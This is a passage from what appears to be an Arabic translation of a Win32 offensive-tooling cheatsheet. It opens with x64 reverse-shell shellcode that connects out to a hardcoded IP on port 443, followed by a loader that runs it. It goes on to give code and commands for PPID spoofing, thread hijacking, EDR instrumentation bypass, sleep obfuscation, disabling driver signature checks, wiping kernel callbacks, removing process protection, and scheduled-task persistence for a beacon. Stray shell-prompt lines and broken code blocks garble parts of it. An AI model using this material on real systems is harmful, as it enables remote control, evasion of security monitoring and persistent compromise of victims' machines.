"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}

اختطاف الخيط

قم باختطاف خيط داخل عملية بعيدة عن طريق إيقافه مؤقتًا، ثم استبدل سجل RIP (أو EIP إذا كنت في x86) بعنوان الشيل كود الخاص بك.

مثال برمجي : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c

انتحال PPID

عندما تبدأ عملية مشبوهة/غير طبيعية تحت عملية أب "شرعية" أو غير مراقبة، يصبح الأمر مريبًا للغاية. فكر في ماكرو Word خبيث يقوم بتشغيل عملية powershell : أليس هذا غريبًا؟

يمكن لانتحال PPID تجنب ذلك من خلال السماح لك بتعديل معرف العملية الأب (PPID) للعملية التي تقوم بإنشائها.```cpp #include <windows.h> #include <TlHelp32.h> #include

//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));

root@kitploit:~
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

return 0;

}

root@kitploit:~
## Process Instrumentation Callback

يُعرَّف Process Instrumentation Callback بأنه العلامة `ProcessInstrumentationCallback` (`0x40`) وتستخدمه المنتجات الأمنية لكشف استدعاءات النظام المباشرة المحتملة (direct syscall) عبر تسجيل استدعاء (callback) للتحقق مما إذا كان تعليمة `syscall` تأتي من الصورة التنفيذية وليس من NTDLL. لتجاوزه في عمليتنا، يكفي فقط تعيين `Callback` إلى `NULL`.```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

InstrumentationCallbackInfo.Version  = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );

لا يزال "غير موثق" من قبل مايكروسوفت لكن Alex Ionescu قام بتوثيقه هنا و Everdox فعل ذلك أيضًا هنا

الكود الكامل لتجاوز instrumentation هنا : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c

تشفير الكومة

قم باجتياز الكومة باستخدام HeapWalk ثم قم بتشفير التخصيصات :```c VOID HeapEncryptDecrypt() { PROCESS_HEAP_ENTRY HeapWalkEntry; SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) ); while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) { if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) { XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData ); } } }

root@kitploit:~
> مزيد من المعلومات هنا: https://www.arashparsa.com/hook-heaps-and-live-free/

## إخفاء النوم

ظهرت العديد من PoCs حول إخفاء النوم بآليات مختلفة (UM APCs وTP والمزيد)، وهنا نأخذ كمثال [Ekko](https://github.com/Cracked5pider/Ekko/) وهو أسهل PoC للفهم.

سلسلة ROP الخاصة بـ Ekko بسيطة جدًا؛ فهي تغيّر حماية الذاكرة إلى `RW`، وتشفّر المنطقة باستخدام `SystemFunction032` التي تنفذ RC4، وتنام عبر `WaitForSingleObject`، وتفك تشفير المنطقة وتعيد تبديل الحماية إلى `RWX`. أخيرًا، يضع جميع `CONTEXT` في قائمة انتظار باستخدام `CreateTimerQueueTimer`.


> تم إصدار بعض الماسحات الضوئية مثل [TickTock](https://github.com/WithSecureLabs/TickTock) أو [Patriot](https://github.com/joe-desimone/patriot) لكشف ذلك، لكن يمكنك تجنبها باستخدام ترامبولين إلى `NtContinue` في NTDLL مع gadget واستبدال سجل `Rip` في سلسلة ROP
 
<br>
 
# أساسيات برمجة برامج التشغيل

## مفاهيم عامة

تُستخدم برامج التشغيل لتنفيذ التعليمات البرمجية في وضع النواة بدلاً من وضع المستخدم. إنها تقنية قوية لتجاوز جميع خطافات وضع المستخدم والمراقبة التي تم إعدادها بواسطة AV/EDRs. ويمكن استخدامها أيضًا لتجاوز استدعاءات النواة وأشكال مراقبة النواة الأخرى.

يجب التحقق من كود أي برنامج تشغيل (يجب التعامل مع أي تحذير على أنه خطأ) لضمان خلوّه من الأعطال (أنت لا تريد أن تتسبب في BSOD أثناء اختبار الاختراق، أليس كذلك؟).

قبل بضع سنوات، قررت مايكروسوفت حظر برامج التشغيل غير الموقعة من نظام تشغيلها: يجب عليك تعطيل ذلك قبل تحميل برنامج التشغيل الخاص بك، أو استخدام أي ثغرة أمنية (مثل https://github.com/hmnthabit/CVE-2018-19320-LPE) لتعطيل توقيع برامج التشغيل.

في اختبار اختراق حقيقي، يجب أن تجد أي برنامج تشغيل قابل للاستغلال وتستفيد :)

## جدول توزيع خدمات النظام (SSDT)

SSDT، أو جدول توزيع خدمات النظام، هو جدول (كما هو واضح) يمكنه تحديد دالة Nt المقابلة من خلال الفهرس الحالي. عند إجراء أي استدعاء من وضع المستخدم، يتم حله كما يلي:
- ```OpenProcess``` (يتم استدعاء دالة Win32 API)
- ```NtOpenProcess``` (يتم حلها في ntdll.dll)```asm
mov r10, rcx
mov eax, 26 
syscall
ret

يحتوي ntdll على إجراءات استدعاء النظام لكل دالة Nt

  • 26 هو رقم خدمة النظام : إنه فهرس في SSDT يحدد عنوان دالة NtOpenProcess في النواة.
  • يتم استدعاء NtOpenProcess في وضع النواة، ويتواصل مع I/O كجزء من برنامج تشغيل.

يتم تعريف SSDT في جدول واصف الخدمة :```cpp typedef struct tagSERVICE_DESCRIPTOR_TABLE { SYSTEM_SERVICE_TABLE nt; //effectively a pointer to Service Dispatch Table (SSDT) itself SYSTEM_SERVICE_TABLE win32k; SYSTEM_SERVICE_TABLE sst3; //pointer to a memory address that contains how many routines are defined in the table SYSTEM_SERVICE_TABLE sst4; } SERVICE_DESCRIPTOR_TABLE;

root@kitploit:~
غالبًا ما كان يتم اعتراض (Hook) جدول SSDT بواسطة الجذور الخفية (Rootkits)، إذ كان من الممكن تعديل العنوان المقابل ليشير إلى الدوال الخاصة بها. لقد عطّل **Patchguard** هذه الإمكانية، إلا في حالة وجود بعض الثغرات الداخلية.

> تستخدم العديد من منتجات مكافحة الفيروسات هذه الخدعة اليوم أيضًا، ربما باستخدام نفس التقنيات التي يستخدمها القراصنة الخبيثون؛)

## نقطة دخول برنامج التشغيل

يتم تعريف إجراء نقطة دخول برنامج التشغيل كما يلي:```cpp
#include <ntddk.h>

NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
	return STATUS_SUCCESS;
}

من المهم جداً استخدام ماكرو UNREFERENCED_PARAMETER() على المعاملين DriverObject وRegistryPath، ما لم تتم الإشارة إليهما بإضافة بعض التعليمات البرمجية لاحقاً.```cpp UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER(RegistryPath);

root@kitploit:~
## الإدخال والإخراج

استخدم MajorFunction `IRP_MJ_CREATE` و`IRP_MJ_CLOSE` للعمل كـ"مقاطعة" للتواصل مع برنامج التشغيل الخاص بك من جانب العميل.```cpp
DriverObject->MajorFunction[IRP_MJ_CREATE] = CreateClose;
	DriverObject->MajorFunction[IRP_MJ_CLOSE] = CreateClose;

ثم قم بتعريف دالة CreateClose الخاصة بك :```cpp NTSTATUS CreateClose(In PDEVICE_OBJECT DeviceObject, In PIRP Irp) { UNREFERENCED_PARAMETER(DeviceObject);

root@kitploit:~
DbgPrint("[+] Hello from FirstDriver CreateClose\n");

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;

}

root@kitploit:~
نموذج كود كامل هنا : //

## التواصل مع برنامج التشغيل

تطبيقات وضع المستخدم ترسل رموز IOCTL إلى برامج التشغيل عن طريق استدعاء DeviceIoControl، وهو موصوف في توثيق Microsoft Windows SDK. تتسبب استدعاءات DeviceIoControl في قيام مدير الإدخال/الإخراج (I/O manager) بإنشاء طلب IRP_MJ_DEVICE_CONTROL وإرساله إلى برنامج التشغيل الأعلى (https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes)

يجب أن يستخدم تطبيق وضع المستخدم دالة DeviceIoControl (ioapiset.h) للتواصل مع برنامج التشغيل.
سيتم استخدامها لإرسال طلبات مختلفة إلى كائن **Device** الخاص به.

نموذج كود بسيط هنا : //todo

## توقيع برنامج التشغيل

كما هو موضح في قسم [مفاهيم عامة](#general-concepts)، يجب توقيع برامج التشغيل قبل تثبيتها على نظام Windows. على الرغم من ضرورة استخدام أحد برامج التشغيل أو استغلال ثغرة في النواة لتجاوز ذلك (مثل ثغرة Gigabyte driver CVE على سبيل المثال)، لا يزال بإمكانك تعطيله يدويًا:```powershell
bcdedit.exe -set loadoptions DISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON

ثم أعد تشغيل حاسوبك. من الواضح أنك بحاجة إلى حقوق إدارية محلية على الجهاز الذي تنفذ هذه الأوامر عليه. وبما أن إعادة التشغيل مطلوبة، فإن هذا ليس OPSEC على الإطلاق.

استدعاءات مخصصة

ObRegisterCallbacks (wdm.h) تسمح لك بتعريف استدعاءات "مخصصة" يمكن استخدامها لتعديل سلوك تطبيق وضع المستخدم عند تشغيلها بواسطة عملية محددة، مثل CreateProcess/OpenProcess (إنشاء مقبض).

أساسيًا، يتم تعريف استدعاءات Ob بمصفوفة OB_OPERATION_REGISTRATION، والتي تُملأ ببنية OB_CALLBACK_REGISTRATION (مملوءة بالاستدعاءات).

مثال للتشغيل عند OpenProcess/CreateProcess:```c OB_OPERATION_REGISTRATION obOperationRegistrationArray[1] = { 0 }; OB_CALLBACK_REGISTRATION obCallbackRegistration = { 0 };

obOperationRegistrationArray[0].ObjectType = PsProcessType; //monitor for handles obOperationRegistrationArray[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE; //detect created and duplicated handles obOperationRegistrationArray[0].PreOperation = process_ob_pre_op_callbacks; //intercept before the end of the operation with a pointer to a defined function in your own code obOperationRegistrationArray[0].PostOperation = NULL; //do nothing after the operation has been completed

NTSTATUS status_register = ObRegisterCallbacks(&obCallbackRegistration, &reg_handle); //register callbacks if (!NT_SUCCESS(status_register)) { DbgPrint("[-] Error while trying to register callbacks\n"); } else {

root@kitploit:~
	DbgPrint("[+] Registering callbacks !\n");
}
root@kitploit:~
**process_ob_pre_op_callbacks** هي دالة يعرّفها المستخدم ويتم استدعاؤها عند اعتراض الاستدعاء (callback)، وبالتالي يمكنها رفض العملية أو السماح بها.```c
OB_PREOP_CALLBACK_STATUS process_ob_pre_op_callbacks(PVOID registrationContext, POB_PRE_OPERATION_INFORMATION pObPreOperationInformation) {

	if (pObPreOperationInformation->KernelHandle) return OB_PREOP_SUCCESS; //if handle is a kernel handle, pass
	pObPreOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~My_PROCESS_ALL_ACCESS; //remove PROCESS_ALL_ACCESS from handle
}

ملاحظة : يمكن تعريف My_PROCESS_ALL_ACCESS على النحو التالي #define My_PROCESS_ALL_ACCESS (0x1FFFFF) (كود win32 بالنظام السداسي عشري).

كيفية تصحيح ObCallbacks : هناك عدة طرق لتصحيحها، لكن على الأرجح الطريقتان الأكثر شيوعًا لتحقيق هذا الهدف هما كتابة دالة obcallback بنمط مشابه مثل : "nop-nop-nop-ret"، أو مسح مؤشر دالة obcallback من عناصر _CALLBACK_ENTRY_ITEM. يرجى ملاحظة أن هذه التقنيات يمكنها بالفعل تشغيل PatchGuard، لذا يرجى الانتباه أثناء استخدام هذه التقنيات في مهمة حقيقية.

البرمجة الهجومية للسائقين

تصحيح استدعاءات النواة

قدّمت Microsoft استدعاءات النواة (Kernel Callbacks) بشكل أساسي لتوفير طريقة أفضل لمطوّري حلول AVs/EDRs لمراقبة الإجراءات المشبوهة ومنعها (قبلها، كان الكثير من منتجات الأمان يستخدم ترقيع وضع kernel مثل خطافات SSDT للقيام بنفس المهمة، لكن حماية PatchGuard الجديدة قيّدتهم لاستخدام هذا الحل الجديد).

هناك عدة أنواع من استدعاءات kernel، خاصة :

root@kitploit:~
- ProcessNotify : يُستدعى عند إنشاء عملية أو خروجها.
- ThreadNotify : يُستدعى عند إنشاء خيط أو خروجه (حذفه).
- LoadImageNotify : يُستدعى عند تحميل صورة تنفيذية بواسطة ملف تنفيذي آخر (مثال : DLL محمّل بواسطة عملية).

لكل منها وظيفة مرتبطة به، مثل PsSetCreateProcessNotifyRoutineEx لتعيينها في السائق الخاص بك. الأخيرة تسجّل روتين استدعاء يُستدعى عند إنشاء عملية جديدة أو حذفها في نظام Windows. النموذج الأولي الخاص بها معرّف كما يلي :```cpp NTSTATUS PsSetCreateProcessNotifyRoutineEx( [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine, [in] BOOLEAN Remove );

root@kitploit:~
**PCREATE_PROCESS_NOTIFY_ROUTINE_EX** هو مؤشر إلى روتين الاستدعاء الذي سيتم استدعاؤه عند تشغيل الحدث (هنا، عند إنشاء/خروج العملية).
**Remove** هو علامة بسيطة تشير إلى ما إذا كان PsSetCreateProcessNotify سيسجّل دالة الاستدعاء أو يحذفها (مفيد في دالة التنظيف الخاصة ببرنامج التشغيل لديك).

ستستخدم دالة الاستدعاء هذا النموذج الأولي:```cpp
void OnProcessNotify(
    PEPROCESS Process,
    HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo
);

حيث Process هو العملية الحالية التي يتم إنشاؤها/حذفها، و ProcessId هو معرّف هذه العملية، و CreateInfo هو بنية تحتوي على معلومات متنوعة حول هذه العملية.

عندما يسجّل برنامج التشغيل روتين استدعاء جديد، سيتم تخزين عنوانه في مصفوفة تُسمى عادةً Pspname_of_your_callback. على سبيل المثال، يتم تخزين قائمة جميع دوال ProcessNotifyRoutine في مصفوفة PspCreateProcessNotifyRoutine.

لإزالة هذه الاستدعاءات، كل ما عليك فعله هو إفراغ هذه المصفوفة !

لسوء الحظ، لا توجد طريقة مباشرة للحصول على عنوان هذه المصفوفة المثيرة للاهتمام. لحسن الحظ، هناك طرق عديدة للقيام بذلك يدويًا، من خلال البحث عن بعض الإزاحات المحددة في الذاكرة.

بمجرد العثور على العنوان الصحيح، يمكنك تعداد جميع الاستدعاءات المسجّلة وتصفيتها حسب اسم برنامج التشغيل (برنامج تشغيل Sysmon ربما ?:))، وإزالة دوال الاستدعاء المقابلة فقط من القائمة.

ترقيع العملية المحمية

تم تقديم العمليات المحمية مع Windows Vista. يمكن تعريفها كبنية تُدعى EPROCESS (غير موثّقة : https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/eprocess) والتي تحدد ما إذا كانت العملية محمية أم لا عبر ثلاثة أعضاء مثيرة للاهتمام :``` kd> dt nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x2d8 ProcessLock : _EX_PUSH_LOCK +0x2e0 UniqueProcessId : Ptr64 Void [...snip...] +0x6c8 SignatureLevel : UChar //signature integrity of exe +0x6c9 SectionSignatureLevel : UChar //Second member : same as first for DLL loaded by the exe +0x6ca Protection : _PS_PROTECTION

root@kitploit:~
العضو الثالث (Protection) هو بنية PS_PROTECTION والتي تُعرَّف على النحو التالي :```
_PS_PROTECTION
  +0x000 Level            : UChar
  +0x000 Type             : Pos 0, 3 Bits
  +0x000 Audit            : Pos 3, 1 Bit
  +0x000 Signer           : Pos 4, 4 Bits

لإزالة حماية PPL، يجب ضبط SignatureLevel وSectionSignatureLevel وProtection على 0.

نظرًا لأن الإزاحة بين العنوان الأساسي لـ EPROCESS وPS_PROTECTION هي 0x6c8، يمكنك استرجاعها بجمع القيمتين.

مثال على الكود : //todo

استخدام Win32 API لزيادة OPSEC

الاستمرارية

المهام المجدولة

ملاحظة : تم استرجاع عدة أمثلة من هذا الجزء من : https://learn.microsoft.com/en-us/windows/win32/taskschd/using-the-task-scheduler?source=recommendations

الطريقة "التقليدية" لجدولة أي مهمة في نظام Windows تتطلب المرور عبر الواجهة الرسومية (Task Scheduler). وهي ليست عملية بالنسبة لنا، حيث غالبًا ما نحصل فقط على جلسة سطر أوامر لنظام مخترَق.

لحسن الحظ، يمكن استخدام Win32 API لإنشاء مثل هذه المهام، مما يتيح لك تحقيق استمرارية رائعة لـ beacon الخاص بك، أو رفع الصلاحيات.

بشكل أساسي، تحتاج إلى تهيئة مكتبة COM، ثم إنشاء مثيل جديد من فئة ITaskService باستخدام API الخاص بـ CoCreateInstance(). يمكنك الآن تعديل كائن ITaskService الخاص بك لتعديل المجلد الجذر، والإجراء، والوقت، والمزيد. إليك مثال أدناه :```cpp /******************************************************************** This sample schedules a task to start Notepad.exe 30 seconds after the system is started. ********************************************************************/

#define _WIN32_DCOM

#include <windows.h> #include #include <stdio.h> #include <comdef.h> // Include the task header file. #include <taskschd.h> #pragma comment(lib, "taskschd.lib") #pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain() { // ------------------------------------------------------ // Initialize COM. HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if( FAILED(hr) ) { printf("\nCoInitializeEx failed: %x", hr ); return 1; }

root@kitploit:~
//  Set general COM security levels.
hr = CoInitializeSecurity(
    NULL,
    -1,
    NULL,
    NULL,
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
    RPC_C_IMP_LEVEL_IMPERSONATE,
    NULL,
    0,
    NULL);

if( FAILED(hr) )
{
    printf("\nCoInitializeSecurity failed: %x", hr );
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create a name for the task.
LPCWSTR wszTaskName = L"Boot Trigger Test Task";

//  Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = _wgetenv( L"WINDIR");
wstrExecutablePath += L"\\SYSTEM32\\NOTEPAD.EXE";


//  ------------------------------------------------------
//  Create an instance of the Task Service. 
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
                       NULL,
                       CLSCTX_INPROC_SERVER,
                       IID_ITaskService,
                       (void**)&pService );  
if (FAILED(hr))
{
      printf("Failed to create an instance of ITaskService: %x", hr);
      CoUninitialize();
      return 1;
}
    
//  Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
    _variant_t(), _variant_t());
if( FAILED(hr) )
{
    printf("ITaskService::Connect failed: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Get the pointer to the root task folder.  
//  This folder will hold the new task that is registered.
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
if( FAILED(hr) )
{
    printf("Cannot get Root Folder pointer: %x", hr );
    pService->Release();
    CoUninitialize();
    return 1;
}

//  If the same task exists, remove it.
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0  );

//  Create the task builder object to create the task.
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );

pService->Release();  // COM clean up.  Pointer is no longer used.
if (FAILED(hr))
{
      printf("Failed to create a task definition: %x", hr);
      pRootFolder->Release();
      CoUninitialize();
      return 1;
}

    
//  ------------------------------------------------------
//  Get the registration info for setting the identification.
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
if( FAILED(hr) )
{
    printf("\nCannot get identification pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pRegInfo->put_Author(L"Author Name");
pRegInfo->Release();
if( FAILED(hr) )
{
    printf("\nCannot put identification info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  ------------------------------------------------------
//  Create the settings for the task
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
if( FAILED(hr) )
{
    printf("\nCannot get settings pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set setting values for the task. 
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
if( FAILED(hr) )
{
    printf("\nCannot put setting info: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
   

//  ------------------------------------------------------
//  Get the trigger collection to insert the boot trigger.
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
if( FAILED(hr) )
{
    printf("\nCannot get trigger collection: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Add the boot trigger to the task.
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_BOOT, &pTrigger ); 
pTriggerCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IBootTrigger *pBootTrigger = NULL;
hr = pTrigger->QueryInterface( 
    IID_IBootTrigger, (void**) &pBootTrigger );
pTrigger->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IBootTrigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

hr = pBootTrigger->put_Id( _bstr_t( L"Trigger1" ) );
if( FAILED(hr) )
   printf("\nCannot put the trigger ID: %x", hr);

//  Set the task to start at a certain time. The time 
//  format should be YYYY-MM-DDTHH:MM:SS(+-)(timezone).
//  For example, the start boundary below
//  is January 1st 2005 at 12:05
hr = pBootTrigger->put_StartBoundary( _bstr_t(L"2005-01-01T12:05:00") );
if( FAILED(hr) )
   printf("\nCannot put the start boundary: %x", hr);

hr = pBootTrigger->put_EndBoundary( _bstr_t(L"2015-05-02T08:00:00") );
if( FAILED(hr) )
   printf("\nCannot put the end boundary: %x", hr);

// Delay the task to start 30 seconds after system start. 
hr = pBootTrigger->put_Delay( L"PT30S" );
pBootTrigger->Release();
if( FAILED(hr) )
{
    printf("\nCannot put delay for boot trigger: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
} 
   

//  ------------------------------------------------------
//  Add an Action to the task. This task will execute Notepad.exe.     
IActionCollection *pActionCollection = NULL;

//  Get the task action collection pointer.
hr = pTask->get_Actions( &pActionCollection );
if( FAILED(hr) )
{
    printf("\nCannot get Task collection pointer: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
    
//  Create the action, specifying it as an executable action.
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction );
pActionCollection->Release();
if( FAILED(hr) )
{
    printf("\nCannot create the action: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

IExecAction *pExecAction = NULL;
//  QI for the executable task pointer.
hr = pAction->QueryInterface( 
    IID_IExecAction, (void**) &pExecAction );
pAction->Release();
if( FAILED(hr) )
{
    printf("\nQueryInterface call failed for IExecAction: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

//  Set the path of the executable to Notepad.exe.
hr = pExecAction->put_Path( _bstr_t( wstrExecutablePath.c_str() ) ); 
pExecAction->Release(); 
if( FAILED(hr) )
{
    printf("\nCannot set path of executable: %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}
  

//  ------------------------------------------------------
//  Save the task in the root folder.
IRegisteredTask *pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
        _bstr_t( wszTaskName ),
        pTask,
        TASK_CREATE_OR_UPDATE, 
        _variant_t(L"Local Service"), 
        varPassword, 
        TASK_LOGON_SERVICE_ACCOUNT,
        _variant_t(L""),
        &pRegisteredTask);
if( FAILED(hr) )
{
    printf("\nError saving the Task : %x", hr );
    pRootFolder->Release();
    pTask->Release();
    CoUninitialize();
    return 1;
}

printf("\n Success! Task successfully registered. " );

//  Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;

}

root@kitploit:~
## انتحال سطر الأوامر

يعمل بشكل مثالي حتى مع مراقبة sysmon/process hacker؛ فهو يتيح إمكانية إخفاء وسائط أوامرك، وهو ما قد يكون مفيدًا في عمليات اختبار الاختراق/الفريق الأحمر (```powershell -enc .....```)

لتحقيق هذا الهدف، يمكنك إنشاء عملية جديدة بوسائط أوامر "شرعية" في الوضع المعلّق، ثم تعديل هذه الوسائط مباشرة في PEB.

إثبات المفهوم: https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%203%20-%20CMD%20spawn%20with%20fake%20procexp%20args/code.cpp
 
# مواضيع متفرقة

## اصطلاح استدعاء x64

- تُمرَّر أول 4 وسائط صحيحة في المسجلات `RCX` و`RDX` و`R8` و`R9`.
- تُدفع الوسائط الإضافية على المكدس.
- يلي عنوان العودة منطقة بحجم 32 بايت محجوزة للمسجلات `RCX` و`RDX` و`R8` و`R9`.
- تُخزَّن المتغيرات المحلية والمسجلات غير المتطايرة فوق عنوان العودة.
- لا يُستخدم `RBP` للإشارة إلى المتغيرات المحلية/وسائط الدوال، ويظل `RSP` ثابتًا طوال الدالة.

> ملاحظات:
> - إذا كانت الدالة تحتوي على عدد متغير من الوسائط، فيجب عليها استخدام المكدس لتمريرها
> - إذا كانت القيمة المُرجَعة عبارة عن بنية، فإن الطرف المُستدعي مسؤول عن تخصيص مساحة للقيمة المُرجَعة وتمرير مؤشر إلى تلك المساحة كوسيطة أولى
> - الطرف المُستدعى مسؤول عن الحفاظ على قيم المسجلات `RBX` و`RBP` و`R12`–`R15`، ولكنه قد يعدّل بحرية المسجلات الأخرى
> - المكدس مُحاذى على حد 16 بايت في موقع الاستدعاء
> - الطرف المُستدعى مسؤول عن إعادة مؤشر المكدس (`RSP`) إلى قيمته الأصلية قبل العودة

## التنفيذ غير المباشر

يشير التنفيذ غير المباشر هنا إلى استخدام ROP لتنفيذ بعض المهام، وستحتاج إلى إضافة الوسائط إلى المسجل الصحيح، ويجب أن تفهم [اصطلاح استدعاء x64](https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet#x64-calling-convention) من أجل ذلك.

